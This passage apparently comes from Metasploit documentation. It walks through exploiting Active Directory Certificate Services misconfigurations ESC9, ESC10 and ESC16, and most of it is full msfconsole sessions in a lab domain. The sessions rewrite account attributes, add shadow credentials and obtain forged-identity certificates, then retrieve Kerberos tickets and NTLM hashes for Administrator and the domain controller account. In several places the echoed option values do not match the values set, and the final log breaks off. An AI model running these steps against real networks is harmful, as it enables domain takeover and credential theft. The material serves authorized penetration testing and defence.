Now we can see the above template is possibly exploitable if the `StrongCertificateBindingEnforcement` is set to `1`. In
our case it is so we can proceed with exploitation.
We will set a number of datastore options in order to exploit ESC9 in this scenario.
We will set `RHOSTS`, `CERT_TEMPLATE`, and `CA` as we normally would. In order to update the UPN of the
target user we must connect to LDAP and so the datastore options `LDAPUsername`, `LDAPPassword`, and `LDAPDomain`
are the credentials of the user who has `GenericWrite` privileges over the `TARGET_USERNAME`. Note `LDAPRport` must be
set in order to connect however it defaults to 389.
The option `UPDATE_LDAP_OBJECT` is an enum that can be set to either `userPrincipalName` or `dNSHostName` and must be
set in order to instruct the module to attempt to exploit ESC9 or ESC10. We will set `UPDATE_LDAP_OBJECT` to
`userPrincipalName` in this case and so we then must set `UPDATE_LDAP_OBJECT_VALUE` to `Administrator`.
It's important for this scenario, when updating the UPN to omit the domain suffix from the UPN to avoid conflicts with
other UPNs in the domain, which by default all contain the suffix. The UPN processing order will still allow the DC to
map the UPN Administrator in our writable account to the actual administrator, making its impersonation possible.
It's also important to note that after issuing the certificate we must revert the `userPrincipalName` of the
`TARGET_USERNAME` back to the original value before attempting to use the certificate or the certificate will not work.
This is done automatically by the module.
In the following example, the ESC9-Template template is vulnerable to ESC9 and will yield a ticket for Administrator once complete.
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2
target_username => user2
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
ldapusername => user1
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC9-Template
cert_template => SpencerTest
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-DC2-CA
ca => kerberos-DC2-CA
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator
UPDATE_LDAP_OBJECT_VALUE => Administrator
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: user2
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
[+] The operation completed successfully!
[*] 172.16.199.200:445 - Adding shadow credentials for user2
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_windows.ad.cs_563081.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 2ff08c15-0ab3-98ad-ee0b-3fd1fbcf3e9d
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
[*] 172.16.199.200:445 - Getting hash for user2
[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_263627.bin
[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_015140.bin
[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - Certificate UPN: Administrator
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717140907_default_172.16.199.200_windows.ad.cs_548728.pfx
[*] 172.16.199.200:445 - reverting ldap object
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] No matching entries found - check device ID
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: Administrator
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
domain administrator. See the [Getting A Kerberos Ticket](#getting-a-kerberos-ticket) section for more information.
## ESC9 Scenario 2
Pre-requisites:
- `StrongCertificateBindingEnforcement` is set to `1` (if it's set to `0` exploitation will still work but technically you're exploiting ESC10 in that case)
- A vulnerable certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag set.
- The same vulnerable template has the `SubjectAltRequireDNS` flag set. <--- (Difference 1/2 between pre-requisites in scenario 1 and 2)
- The same vulnerable template has a client authentication EKU
- We have credentials of a machine account who has `GenericWrite` privileges over another **machine account** that can enroll in the vulnerable template <--- (Difference 2/2 between pre-requisites in scenario 1 and 2)
- Only machine accounts can have the `dNSHostName` attribute set, so our "target_user" needs to be machine account
The option `UPDATE_LDAP_OBJECT` will now be set to `dNSHostName` and because only machine accounts have the `dNSHostName` attribute we will set our `TARGET_USER` to the machine account`Test2$`
We will be changing the `dNSHostName` of the machine account `Test1$` to `DC2.kerberos.issue` (`DC2` is the hostname of the domain controller) in hopes to impersonate the Domain Controller machine account
`CERT_TEMPLATE` will be set to `ESC9-Template-Dns` which is the same template as `ESC9-Template` but with the `SubjectAltRequireDNS` flag set instead of the `SubjectAltRequireUPN` flag.
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "Test2$"
target_username => Test2$
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE dc2.kerberos.issue
UPDATE_LDAP_OBJECT_VALUE => dc2.kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT dnsHostName
UPDATE_LDAP_OBJECT => dNSHostName
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
CA => kerberos-DC2-CA
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC9-Template-Dns
CERT_TEMPLATE => ESC9-Template-Dns
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername Test1$
ldapusername => Test1$
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Reloading module...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of Test2$'s dNSHostName:
[*] Attempting to update dNSHostName for CN=Test2,CN=Computers,DC=kerberos,DC=issue to dc2.kerberos.issue...
[+] Successfully updated CN=Test2,CN=Computers,DC=kerberos,DC=issue's dNSHostName to dc2.kerberos.issue
[+] The operation completed successfully!
[*] 172.16.199.200:445 - Adding shadow credentials for Test2$
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717141705_default_172.16.199.200_windows.ad.cs_907188.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 517757a2-5174-5c43-6005-102c4429ff05
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
[*] 172.16.199.200:445 - Getting hash for user2
[!] Warning: Provided principal and realm (Test2$@kerberos.issue) do not match entries in certificate:
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717141705_default_172.16.199.200_mit.kerberos.cca_132784.bin
[*] 172.16.199.200:88 - Getting NTLM hash for Test2$@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717141705_default_172.16.199.200_mit.kerberos.cca_364943.bin
[+] Found NTLM hash for Test2$: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - Certificate DNS: dc2.kerberos.issue
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717141706_default_172.16.199.200_windows.ad.cs_369517.pfx
[*] 172.16.199.200:445 - reverting ldap object
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[+] Deleted entry with device ID 517757a2-5174-5c43-6005-102c4429ff05
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Attempting to delete attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue...
[+] Successfully deleted attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue
[+] The operation completed successfully!
[*] Auxiliary module execution completed
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.16.199.200 cert_file=/Users/jheysel/.msf4/loot/20250717141706_default_172.16.199.200_windows.ad.cs_369517.pfx
[*] Running module against 172.16.199.200
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717142328_default_172.16.199.200_mit.kerberos.cca_370847.bin
[*] 172.16.199.200:88 - Getting NTLM hash for dc2$@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717142328_default_172.16.199.200_mit.kerberos.cca_596103.bin
[+] Found NTLM hash for dc2$: aad3b435b51404eeaad3b435b51404ee:cceede79c156a295f45e7ad38ee2f884
[*] Auxiliary module execution completed
```
# Exploiting ESC10
## ESC10 Scenario 1
Pre-requisites:
- `StrongCertificateBindingEnforcement` is set to `0`
- Because the above is set to `0` we don't need the `CT_FLAG_NO_SECURITY_EXTENSION` flag set on the vulnerable template
- Other than the above, pre-requisites and exploitation are the exact same as ESC9 Scenario 1
## ESC10 Scenario 2
Pre-requisites:
- `CertificateMappingMethods` is set to `0x0004` (UPN certificate mapping) or `0x001F` (All of the above values)
- The vulnerable template has the `SubjectAltRequireUPN` set
- The same vulnerable template has a client authentication EKU
- We have credentials of a machine account who has `GenericWrite` privileges over another machine account that can enroll in the vulnerable template
In this scenario we can only compromise accounts that do not already have a populated `userPrincipalName` attribute, such as machine accounts and the default domain administrator.
In addition, because this registry key only applies to SChannel authentication we are forced to authenticate to LDAPS once we get a certificate.
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "user2"
target_username => user2
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE 'DC2$@kerberos.issue'
UPDATE_LDAP_OBJECT_VALUE => DC2$@kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT userPrincipalName
UPDATE_LDAP_OBJECT => userPrincipalName
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
CA => kerberos-DC2-CA
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC10-Template
CERT_TEMPLATE => ESC10-Template
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
ldapusername => user1
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: user2
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to DC2$@kerberos.issue...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to DC2$@kerberos.issue
[+] The operation completed successfully!
[*] 172.16.199.200:445 - Adding shadow credentials for user2
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717143323_default_172.16.199.200_windows.ad.cs_860225.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 825a1a2f-336f-e41c-24fb-703bb79f79f9
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
[*] 172.16.199.200:445 - Getting hash for user2
[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717143323_default_172.16.199.200_mit.kerberos.cca_872380.bin
[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717143323_default_172.16.199.200_mit.kerberos.cca_123025.bin
[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.1 (Server Authentication)
[*] 172.16.199.200:445 - * 1.3.6.1.4.1.311.20.2.2 (Smart Card Logon)
[*] 172.16.199.200:445 - Certificate UPN: DC2$@kerberos.issue
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717143324_default_172.16.199.200_windows.ad.cs_752634.pfx
[*] 172.16.199.200:445 - reverting ldap object
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[+] Deleted entry with device ID 825a1a2f-336f-e41c-24fb-703bb79f79f9
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: DC2$@kerberos.issue
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
[+] The operation completed successfully!
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > use ldap_login
[*] Using auxiliary/scanner/ldap/ldap_login
[*] The CreateSession option within this module can open an interactive session
msf6 auxiliary(scanner/ldap/ldap_login) > run ssl=true rhosts=172.16.199.200 LDAP::Auth=schannel LDAP::CertFile=/Users/jheysel/.msf4/loot/20250717143324_default_172.16.199.200_windows.ad.cs_752634.pfx
[+] Success: 'Cert File /Users/jheysel/.msf4/loot/20250717143324_default_172.16.199.200_windows.ad.cs_752634.pfx'
[*] LDAP session 1 opened (172.16.199.1:58674 -> 172.16.199.200:389) at 2025-07-17 14:35:08 -0700
[*] Scanned 1 of 1 hosts (100% complete)
[*] Bruteforce completed, 1 credential was successful.
[*] 1 LDAP session was opened successfully.
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ldap/ldap_login) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 ldap LDAP DC2$ @ 172.16.199.200:389 172.16.199.1:58674 -> 172.16.199.200:389 (172.16.199.200)
```
# Exploiting ESC13
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
@@ -1084,6 +1480,168 @@ msf auxiliary(admin/dcerpc/icpr_cert) >
Finally, *this* certificate can be used to authenticate to Kerberos with the `kerberos/get_ticket` module.
# Exploiting ESC16
ESC16 refers to a CA-level misconfiguration where the SID security extension (OID `1.3.6.1.4.1.311.25.2`), introduced in
the May 2022 KB5014754 update, is globally disabled. This extension allows domain controllers to securely map
certificates to user or computer SIDs for strong authentication.
When this OID is listed under the CAs `DisableExtensionList` registry key, which is located:
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-Name>\PolicyModules\<PolicyModuleName>\`
all certificates issued by the CA will lack the SID binding, making every template behave as though it has the
`CT_FLAG_NO_SECURITY_EXTENSION` flag (essentially ESC9). After updating the `DisableExtensionList` the machine will need
to be restarted for the changes to take effect. The `DisableExtensionList` under the default policy can be updated in
order to exploit (a new policy is not required).
## ESC16 Scenario 1
If domain controllers arent in Full Enforcement mode (`StrongCertificateBindingEnforcement` != 2), they fall back to
weaker mapping methods like UPN or DNS from the certificates SAN potentially reintroducing risks similar to the
Certifried vulnerability (CVE-2022-26923) or ESC9 however for our purposes given the `DisableExtensionList` is called
"ESC16 Scenario 1". The way you exploit ESC16 scenario 1 with Metasploit is identical to how you would exploit ESC9:
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2
target_username => user2
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
ldapusername => user1
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator
UPDATE_LDAP_OBJECT_VALUE => Administrator
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-dc2-ca
ca => kerberos-dc2-ca
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC16-Template
cert_template => ESC16-Template
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: user2
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
[+] The operation completed successfully!
[*] 172.16.199.200:445 - Adding shadow credentials for user2
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717152132_default_172.16.199.200_windows.ad.cs_473934.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 0d055983-7921-797a-529e-259b4b7542a2
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
[*] 172.16.199.200:445 - Getting hash for user2
[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152132_default_172.16.199.200_mit.kerberos.cca_930617.bin
[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152132_default_172.16.199.200_mit.kerberos.cca_355422.bin
[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - Certificate UPN: Administrator
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717152134_default_172.16.199.200_windows.ad.cs_383174.pfx
[*] 172.16.199.200:445 - reverting ldap object
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[+] Deleted entry with device ID 0d055983-7921-797a-529e-259b4b7542a2
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: Administrator
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```
With the certificate issued, the attacker can then use the `kerberos/get_ticket` module to obtain the hash of the admin user:
```
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhost=172.16.199.200 cert_file=//Users/jheysel/.msf4/loot/20250717152134_default_172.16.199.200_windows.ad.cs_383174.pfx username=Administrator domain=kerberos.issue
[*] Running module against 172.16.199.200
[!] Warning: Provided principal and realm (Administrator@kerberos.issue) do not match entries in certificate:
[!] * Administrator@
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152325_default_172.16.199.200_mit.kerberos.cca_344926.bin
[*] 172.16.199.200:88 - Getting NTLM hash for Administrator@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152325_default_172.16.199.200_mit.kerberos.cca_598018.bin
[+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[*] Auxiliary module execution completed
```
#### ESC16 Scenario 2
If domain controllers are in Full Enforcement mode (`StrongCertificateBindingEnforcement` == 2), ESC16 alone would normally
prevent authentication using certificates that lack the required SID extension. However, if the CA is also vulnerable
to ESC6, which is defined as: `EDITF_ATTRIBUTESUBJECTALTNAME2` flag is set under it's `EditFlags` registry key, located here:
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-Name>\PolicyModules\<PolicyModuleName>\`
then the CA accepts arbitrary SAN values from certificate request attribute and an attacker can still bypass strong
certificate mapping.
In this case, the attacker requests a certificate from the ESC16-affected CA using any client authentication template
(like "User"), which ensures the SID security extension is omitted. At the same time, they exploit the ESC6 weakness to
inject a custom Subject Alternative Name that includes both a forged UPN and a specially crafted SID value using the format:
`URI:tag:microsoft.com,2022-09-14:sid:<SID>`. This format was introduced in the May 2022 KB5014754 update and
intended to help support strong certificate mappings between the user SID and the certificate.
Because the certificate lacks the official SID extension (due to ESC16) but includes a valid-looking SAN SID URI
(via ESC6), the domain controller accepts it and maps the certificate using the supplied SID—even in Full Enforcement mode.
The way you would exploit ESC16 Scenario 2 with Metasploit is different than Scenario 1 as we don't need to update
any LDAP objects, and so we can use the `icpr_cert` module to request a certificate.
```
msf6 auxiliary(admin/dcerpc/icpr_cert) > set alt_sid S-1-5-21-2324486357-3075865580-3606784161-500
alt_sid => S-1-5-21-1655260159-4293876351-2321352318-500
msf6 auxiliary(admin/dcerpc/icpr_cert) > set alt_upn Administrator@kerberos.issue
alt_upn => Administrator@msf.local
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ca kerberos-DC2-CA
ca => msf-DC3-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set cert_template User
cert_template => User
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.16.199.200
RHOSTS => 172.16.199.130
msf6 auxiliary(admin/dcerpc/icpr_cert) > set smbdomain kerberos.issue
smbdomain => msf.local
msf6 auxiliary(admin/dcerpc/icpr_cert) > set smbpass N0tpassword!
smbpass => N0tpassword!
msf6 auxiliary(admin/dcerpc/icpr_cert) > set smbuser user1
smbuser => user1
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.16.199.200
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.4 (Secure Email)
[*] 172.16.199.200:445 - * 1.3.6.1.4.1.311.10.3.4 (Encrypting File System)
[*] 172.16.199.200:445 - Certificate UPN: Administrator@kerberos.issue
[*] 172.16.199.200:445 - Certificate URI: tag:microsoft.com,2022-09-14:sid:S-1-5-21-2324486357-3075865580-3606784161-500, S-1-5-21-2324486357-3075865580-3606784161-500
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250711145606_default_172.16.199.200_windows.ad.cs_597422.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > use admin/kerberos/get_ticket
[*] Using action GET_TGT - view all 3 actions with the show actions command
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhost=172.16.199.200 cert_file=/Users/jheysel/.msf4/loot/20250711145606_default_172.16.199.200_windows.ad.cs_597422.pfx
[*] Running module against 172.16.199.200
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250711145619_default_172.16.199.200_mit.kerberos.cca_635830.bin
[*] 172.16.199.200:88 - Getting NTLM hash for Administrator@kerberos.issue
